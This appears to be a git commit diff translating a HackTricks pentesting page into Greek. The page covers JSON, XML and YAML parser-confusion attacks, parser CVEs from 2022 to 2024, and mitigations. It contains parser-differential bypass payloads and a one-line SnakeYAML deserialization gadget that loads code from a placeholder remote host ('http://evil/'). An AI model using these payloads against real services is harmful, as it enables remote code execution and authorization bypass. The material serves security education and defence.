Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to el

This commit is contained in:
Translator 2025-08-04 20:31:19 +00:00
parent 1cb4e802be
commit 772d0c3c9f

View File

@ -85,8 +85,8 @@ json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
"AcTiOn": "AdminAction"
}
```
- Η Python βλέπει το `UserAction`, το επιτρέπει
- Η Go βλέπει το `AdminAction`, το εκτελεί
- Python βλέπει το `UserAction`, το επιτρέπει
- Go βλέπει το `AdminAction`, το εκτελεί
### Σύγχυση Μορφής Δεδομένων (Polyglots)
@ -98,7 +98,7 @@ json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
- Την κεφαλίδα `Accept: application/json`
- Μερικό έλεγχο του σώματος JSON
Ο αναλυτής XML της Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
Ο αναλυτής XML του Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα.
- Δημιουργημένο payload:
```json
@ -108,21 +108,57 @@ json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
Αποτέλεσμα:
- **Go JSON** parser: `Action_2` (χωρίς διάκριση πεζών-κεφαλαίων + τελευταίο κερδίζει)
- **YAML** parser: `Action_1` (με διάκριση πεζών-κεφαλαίων)
- **XML** parser: αναλύει `"Action_3"` μέσα στη συμβολοσειρά
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
- **YAML** parser: `Action_1` (case-sensitive)
- **XML** parser: parses `"Action_3"` inside the string
---
### 🔐 Μετριασμοί
## Σημαντικές Ευπάθειες Παρσέρ (2023-2025)
| Κίνδυνος | Διόρθωση |
|-----------------------------|---------------------------------------|
| Άγνωστα πεδία | `decoder.DisallowUnknownFields()` |
| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib |
| Αντιστοίχιση χωρίς διάκριση | ❌ Καμία διόρθωση στη stdlib |
| XML σκουπίδια δεδομένα | ❌ Καμία διόρθωση στη stdlib |
| YAML: άγνωστα κλειδιά | `yaml.KnownFields(true)` |
> Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go.
### SnakeYAML Deserialization RCE (CVE-2022-1471)
* Αφορά: `org.yaml:snakeyaml` < **2.0** (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.).
* Αιτία: `new Constructor()` αποσυναρμολογεί **τυχαίες κλάσεις Java**, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα.
* One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Διόρθωση / Μετριασμός:
1. **Αναβάθμιση σε ≥2.0** (χρησιμοποιεί `SafeLoader` από προεπιλογή).
2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά `new Yaml(new SafeConstructor())`.
### libyaml Double-Free (CVE-2024-35325)
* Επηρεάζει: `libyaml` ≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες).
* Ζήτημα: Η κλήση `yaml_event_delete()` δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού.
* Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση **0.2.6** που μηδενίζει τον δείκτη αμυντικά.
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* Επηρεάζει: Tencent **RapidJSON** πριν την δέσμευση `8269bc2` (<1.1.0-patch-22).
* Σφάλμα: Στη μέθοδο `GenericReader::ParseNumber()` η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό — τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης.
---
### 🔐 Μετριασμοί (Ενημερωμένο)
| Κίνδυνος | Διόρθωση / Σύσταση |
|-------------------------------------|------------------------------------------------------------|
| Άγνωστα πεδία (JSON) | `decoder.DisallowUnknownFields()` |
| Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib — επικυρώστε με [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go) | ❌ Καμία διόρθωση — επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο |
| XML σκουπίδια δεδομένα / XXE | Χρησιμοποιήστε έναν σκληρυμένο αναλυτή (`encoding/xml` + `DisallowDTD`) |
| YAML άγνωστα κλειδιά | `yaml.KnownFields(true)` |
| **Μη ασφαλής αποσυμπίεση YAML** | Χρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 διπλή απελευθέρωση | Αναβαθμίστε σε **0.2.6** ή σε έκδοση με διορθώσεις διανομής |
| RapidJSON <διορθωμένη δέσμευση | Συγκεντρώστε κατά την τελευταία RapidJSON (Ιούλιος 2024) |
## Αναφορές
- Baeldung “Επίλυση CVE-2022-1471 με SnakeYAML 2.0”
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}